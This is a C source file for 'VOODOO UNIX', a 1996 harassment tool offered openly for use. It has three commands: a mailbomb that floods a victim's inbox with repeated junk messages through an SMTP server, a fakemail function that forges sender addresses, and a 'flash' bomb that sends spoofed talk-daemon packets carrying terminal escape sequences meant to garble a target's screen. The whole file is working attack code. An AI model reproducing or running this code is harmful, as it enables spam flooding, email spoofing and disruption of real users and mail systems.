/*

    Vassago's VOODOO UNIX v1.01b
    Copyright (c) 1996 Ryan Addams, All Rights Reserved.

*/

#include <sys/types.h>
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
#include <string.h>
#include <ctype.h>
#include <unistd.h>
#include <arpa/inet.h>

#define DEFAULT_SENT 99
#define SLEEP_TIME 10
#define MAX_INPUT_LENGTH 256
#define MAX_STRING_LENGTH 8192
#define FALSE 0
#define TRUE 1
#define VERSION "VOODOO UNIX v1.01b by Vassago."
#define MAX_FLASHSTR 6
#define SMTP_PORT 25
#define MAX_CRAP 10000
#define TALK_VERSION    1
#define LEAVE_INVITE    0
#define LOOK_UP         1
#define DELETE          2
#define ANNOUNCE        3
#define OLD_NAME_SIZE 9
#define NAME_SIZE    12
#define TTY_SIZE     16 

#define LOWER(c) ((c) >= 'A' && (c) <= 'Z' ? (c)+'a'-'A' : (c))
#define UPPER(c) ((c) >= 'a' && (c) <= 'z' ? (c)+'A'-'a' : (c))

const char * flashstr[] = {
    "\033(0\033#8",
    "\033[1;3r",
    "\033[1;5m\033(0",
    "**\030B00",
    "\033**EMSI_IRQ8E08",
    "\033c\033(0\033#8\033[1;3r\033[J\033[5m\033[?5h**\030B00"
};

typedef unsigned char bool;
typedef struct {
	char    type;
	char    l_name[OLD_NAME_SIZE];
	char    r_name[OLD_NAME_SIZE];
	char    filler;
	u_long  id_num;
	u_long  pid;
	char    r_tty[TTY_SIZE];
	struct  sockaddr_in addr;
	struct  sockaddr_in ctl_addr;
} OLD_MSG;

typedef struct {
	u_char  vers;
	char    type;
	u_short filler;
	u_long  id_num;
	struct  sockaddr_in addr;
	struct  sockaddr_in ctl_addr;
	long    pid;
	char    l_name[NAME_SIZE];
	char    r_name[NAME_SIZE];
	char    r_tty[TTY_SIZE];
} CTL_MSG;

void server_connect (char *server, int port);
void mailbomb (char *argument);
void fakemail (char *argument);
bool is_number(char *arg); 
int number_range(int from, int to);
long number_mm(void);
char *one_argument(char *argument, char *arg_first);
char *randcrap(int num);
void pop(char *hostname, char *username);
void flash(char *argument);
void SendTalkPacket(struct sockaddr_in *target, char *p, int psize);
void new_ANNOUNCE(char *hostname, char *remote, char *local);
void old_ANNOUNCE(char *hostname, char *remote, char *local);

/*int seed = 0x2837;*/
int current = 1;
int thesock;

char *randcrap(int num) {
    char buf [num+1];
    register int i, c=0;
    char rcrapcrap[82];

    if (num <= 0)
	return NULL;

    sprintf(rcrapcrap, "abcd efg hij klmn opq rstu vwx yzABC DEF GH IJKL MNOP QRS TUVW XYZ0 123 456 789\r");

    buf[0] = '\0';

    printf("[VOODOO] Generating random crap...\n\r");

    for (i = 0; i <= num; i++) {
	sprintf(buf, "%s%c", buf, rcrapcrap[number_range(0,62)]);
	c++;
	if ((c > 68 && number_range(0,10)==10) || c == 78) {
	    sprintf(buf, "%s\n\r",buf);
	    c = 0;
	}
    }
    sprintf(buf, "%s\n\r",buf);

    return strdup(buf);
}

long number_mm(void) {
    return rand() >> 6;
}

int number_range(int from, int to) {
    int power;
    int number;

    if (from == 0 && to == 0)
	return 0;
    if ((to = to - from +1) <= 1)
	return from;
    for (power = 2; power < to; power <<= 1);
    while ((number = number_mm() & (power -1)) >= to);
    return from + number;
} 

bool is_number(char *arg) {
    if (*arg == '\0')
	return FALSE;
    if (*arg == '+' || *arg == '-')
	arg++;
    for (; *arg != '\0'; arg++) {
	if (!isdigit(*arg))
	    return FALSE;
    }
    return TRUE;
}

char *one_argument(char *argument, char *arg_first) {
    char cEnd;

    while (isspace(*argument))
	argument++;

    cEnd = ' ';

    if (*argument == '\'' || *argument == '"')
	cEnd = *argument++;

    while (*argument != '\0') {
	if (*argument == cEnd) {
	    argument++;
	    break;
	}
	*arg_first = LOWER(*argument);
	arg_first++;
	argument++;
    }
    *arg_first = '\0';

    while (isspace(*argument))
	argument++;

    return argument;
}

void server_connect(char *server, int port) {
    struct sockaddr_in sin;
    struct hostent *hp;
  
    hp = gethostbyname(server);

    if (hp == NULL) {
        printf("[VOODOO] Unknown host: %s\n\r\n\r",server);
        exit(1);
    }

    if (port <= 0) {
	printf("[VOODOO] Bad port number: %d\n\r\n\r",port);
	exit(1);
    }

    memset((char *) &sin, 0, sizeof(sin));
    memmove((char *) &sin.sin_addr, hp->h_addr, hp->h_length);
    sin.sin_family = hp->h_addrtype;
    sin.sin_port = htons(port);
    thesock = socket(AF_INET, SOCK_STREAM, 0);
    connect(thesock,(struct sockaddr *) &sin, sizeof(sin));

    return;
}
 
void main(int argc, char **argv) {
    register int i;
    char argument [MAX_INPUT_LENGTH];

    printf("\n\r%s\n\r\n\r",VERSION);

    if (argc == 1) {
	printf(
	    "Commands:\n\r\n\r"
	    "  mailbomb <smtp server> <from addr> <to addr> [<# of times>] [<subject>]\n\r"
	    "  fakemail <smtp server> <from addr> <to addr> <textfile> [<subject>]\n\r"
	    "  flash <user@host> [<# of times>]\n\r"
	    "\n\r"
	);
    }

    srand(time(NULL) ^ getpid());

    argument[0] = '\0';

    if (argc > 1) {
        for (i = 0; i < argc; i++)
	{
    	    strcat(argument, argv[i]);
	    strcat(argument, " ");
	    if (i == 0) i++;
	}

	if (!strcmp(argv[1], "mailbomb"))
	    mailbomb(argument);
	else if (!strcmp(argv[1], "fakemail"))
	    fakemail(argument);
	else if (!strcmp(argv[1], "flash"))
	    flash(argument);
	else {
	printf(
	        "Commands:\n\r\n\r"
	        "mailbomb <smtp server> <from addr> <to addr> [<# of times>] [<subject>]\n\r"
		"fakemail <smtp server> <from addr> <to addr> <textfile> [<subject>]\n\r"
		"flash <user@host> [<# of times>]\n\r"
	        "\n\r"
	    );
	    exit(1);
	}
    }
    exit(0);
}

void mailbomb(char *argument) {
    char subj[MAX_INPUT_LENGTH];
    char buf[MAX_STRING_LENGTH*4];
    char message[MAX_STRING_LENGTH*2];
    char arg0[MAX_INPUT_LENGTH];
    char arg1[MAX_INPUT_LENGTH];
    char arg2[MAX_INPUT_LENGTH];
    char arg3[MAX_INPUT_LENGTH];
    char arg4[MAX_INPUT_LENGTH];
    int num_sent;
    register int i;

    argument = one_argument(argument, arg0);
    argument = one_argument(argument, arg1);
    argument = one_argument(argument, arg2);
    argument = one_argument(argument, arg3);
    argument = one_argument(argument, arg4);

    if (arg3 == NULL || arg3[0] == '\0') {
        printf("Usage: %s <SMTP server> <from addr> <to addr> [<# bombs>] [<\"subject\">]\n\r\n\r",arg0);
        exit(0);
    }

    num_sent = DEFAULT_SENT;

    if (arg4 != NULL && arg4[0] != '\0') {
        if (!is_number(arg4)) {
            printf("Usage: %s <SMTP server> <from addr> <to addr> [<# bombs>] [<\"subject\">]\n\r\n\r",arg0);
            exit(1);
        }
        num_sent = atoi(arg4);
    }

    if (argument != NULL && argument[0] != '\0')
	sprintf(subj, "%s", argument);
    else
        sprintf(subj, "%s", flashstr[number_range(0,(MAX_FLASHSTR-1))]);

    sprintf(message, "%s", randcrap(number_range(MAX_CRAP/2, MAX_CRAP)));

    for (i = 1; i <= num_sent; i++) {
        printf("\n\r[VOODOO] Connecting to SMTP Server: %s.\n\r",arg1);
        server_connect(arg1, SMTP_PORT);
        printf("[VOODOO] Sending mail to: %s.\n\r",arg3);
        sprintf(buf, "helo \nmail from: %s\nrcpt to: %s\ndata\nSUBJECT: %s\n\n%s\n.\nquit\n",arg2,arg3,subj,message);
        send(thesock, buf, strlen(buf), 0);
        printf("[VOODOO] Sleeping to make sure data is sent.\n\r");
        sleep(SLEEP_TIME);
        printf("[VOODOO] Mailing #%d has been sent.\n\r",i);
    }
    printf("[VOODOO] Mail bomb finished.\n\r\n\r");
    return;
}

void fakemail(char *argument) {
    FILE *text;
    char subj[MAX_INPUT_LENGTH];
    char buf[MAX_STRING_LENGTH*10];
    char message[MAX_STRING_LENGTH*9];
    char arg0[MAX_INPUT_LENGTH];
    char arg1[MAX_INPUT_LENGTH];
    char arg2[MAX_INPUT_LENGTH];
    char arg3[MAX_INPUT_LENGTH];
    char arg4[MAX_INPUT_LENGTH];
    register int position = 0;

    argument = one_argument(argument, arg0);
    argument = one_argument(argument, arg1);
    argument = one_argument(argument, arg2);
    argument = one_argument(argument, arg3);
    argument = one_argument(argument, arg4);

    if (arg4 == NULL || arg4[0] == '\0') {
        printf("Usage: %s <SMTP server> <from addr> <to addr> <file> [<\"subject\">]\n\r\n\r",arg0);
        exit(0);
    }

    if ((text = fopen(arg4, "r")) == NULL) {
	printf("[VOODOO] Text file %s not found, no mail sent.\n\r\n\r",arg4);
	exit(1);
    }
    printf("[VOODOO] Reading text file %s into memory...\n\r",arg4);
    while (fscanf(text, "%c", &message[position]) != EOF)
	position++;
    fclose(text);

    if (argument != NULL && argument[0] != '\0')
	sprintf(subj, "%s", argument);
    else
        sprintf(subj, "<no subject>");

    printf("[VOODOO] Connecting to SMTP Server: %s.\n\r",arg1);
    server_connect(arg1, SMTP_PORT);
    printf("[VOODOO] Sending mail to: %s.\n\r",arg3);
    sprintf(buf, "helo \nmail from: %s\nrcpt to: %s\ndata\nSUBJECT: %s\n\n%s\n.\nquit\n",arg2,arg3,subj,message);
    send(thesock, buf, strlen(buf), 0);
    printf("[VOODOO] Sleeping to make sure data is sent.\n\r");
    sleep(SLEEP_TIME);
    printf("[VOODOO] Fake Mailing finished.\n\r\n\r");
    return;
}

struct sockaddr_in *getinaddr(char *hostname, u_short port) {
    static  struct sockaddr    addr;
    struct  sockaddr_in *address;
    struct  hostent     *host;

    address = (struct sockaddr_in *)&addr;
    (void) memset((char *)address, 0, sizeof(struct sockaddr_in));
    address->sin_family = AF_INET;
    address->sin_port = htons(port);
    address->sin_addr.s_addr = inet_addr(hostname);
    if ( (int)address->sin_addr.s_addr == -1) {
	host = gethostbyname(hostname);
	if (host) {
		memmove((char *)&address->sin_addr, host->h_addr,
			host->h_length);
	}
	else {
		printf("[VOODOO] Could not find address: %s.\n\r\n\r",hostname); 
		exit(1);
		return (struct sockaddr_in *)0;
		}
	}
    return (struct sockaddr_in *)address;
}

void SendTalkPacket(struct sockaddr_in *target, char *p, int psize) {
    int     s;
    struct sockaddr sample;

    s = socket(AF_INET, SOCK_DGRAM, 0);
    sendto( s, p, psize, 0,(struct sockaddr *)target, sizeof(sample)); 
    return;
}

void new_ANNOUNCE(char *hostname, char *remote, char *local) {
    CTL_MSG  packet; 
    struct   sockaddr_in  *address;

    address = getinaddr(hostname, 666 );
    address->sin_family = htons(AF_INET); 
    memset((char *)&packet, 0, sizeof(packet));
    packet.vers   = TALK_VERSION; 
    packet.type   = ANNOUNCE;   
    packet.pid    = getpid();
    packet.id_num = current;
    memmove((char *)&packet.addr, (char *)address, sizeof(packet.addr));
    memmove((char *)&packet.ctl_addr, (char *)address, sizeof(packet.ctl_addr));
    strncpy( packet.l_name, local, NAME_SIZE); 
    strncpy( packet.r_name, remote, NAME_SIZE); 
    strncpy( packet.r_tty, "", 1); 
    SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) ); 
    return;
}

void old_ANNOUNCE(char *hostname, char *remote, char *local) {
    OLD_MSG  packet;
    struct   sockaddr_in  *address;

    address = getinaddr(hostname, 666 );
    address->sin_family = htons(AF_INET);
    memset((char *)&packet, 0, sizeof(packet));
    packet.type   = ANNOUNCE;
    packet.pid    = getpid();
    packet.id_num = current;
    memmove((char *)&packet.addr, (char *)address, sizeof(packet.addr));
    memmove((char *)&packet.ctl_addr, (char *)address, sizeof(packet.ctl_addr));
    strncpy( packet.l_name, local, NAME_SIZE);
    strncpy( packet.r_name, remote, NAME_SIZE);
    strncpy( packet.r_tty, "", 1);
    SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) );
    return;
}

void pop(char *hostname, char *username) {
    char buf[MAX_INPUT_LENGTH];

    sprintf(buf, "%d%s", number_range(1024, 9999), flashstr[number_range(0,MAX_FLASHSTR-1)]); 
    new_ANNOUNCE(hostname, username, buf);
    old_ANNOUNCE(hostname, username, buf);
    return;
}

void flash(char *argument) {
    register int x,y;
    char arg0[MAX_INPUT_LENGTH];
    char arg1[MAX_INPUT_LENGTH];
    char arg2[MAX_INPUT_LENGTH];
    char *hostname;
    char *username;

    current = 0;
    y = DEFAULT_SENT;

    argument = one_argument(argument, arg0);
    argument = one_argument(argument, arg1);
    argument = one_argument(argument, arg2);

    username = arg1;

    if ((hostname = (char *)strchr(username, '@'))==NULL) {
	printf("[VOODOO] Invalid host name.\n\r");
	printf("[VOODOO] Usage: %s flash <user@host> [<# of times>]\n\r\n\r",arg0);
	exit(1);
    }

    *hostname = '\0';
    hostname++;

    if (*username == '~')
	username++;

    if (arg2 != NULL && arg2[0] != '\0') {
	if (!is_number(arg2)) {
	    printf("[VOODOO] Invalid # of flash times.\n\r");
	    printf("[VOODOO] Usage: %s flash <user@host> [<# of times>]\n\r\n\r",arg0);
	    exit(1);
	}
	else
	    y = atoi(arg2);
    }

    for(x = 1; x <= y; x++) {
	current++;
	pop(hostname, username);
	printf("[VOODOO] Flash #%d has been sent.\n\r",x);
    }
    sleep(1);

    printf("[VOODOO] Flash Bomb has been completed.\n\r\n\r");
    return;
}
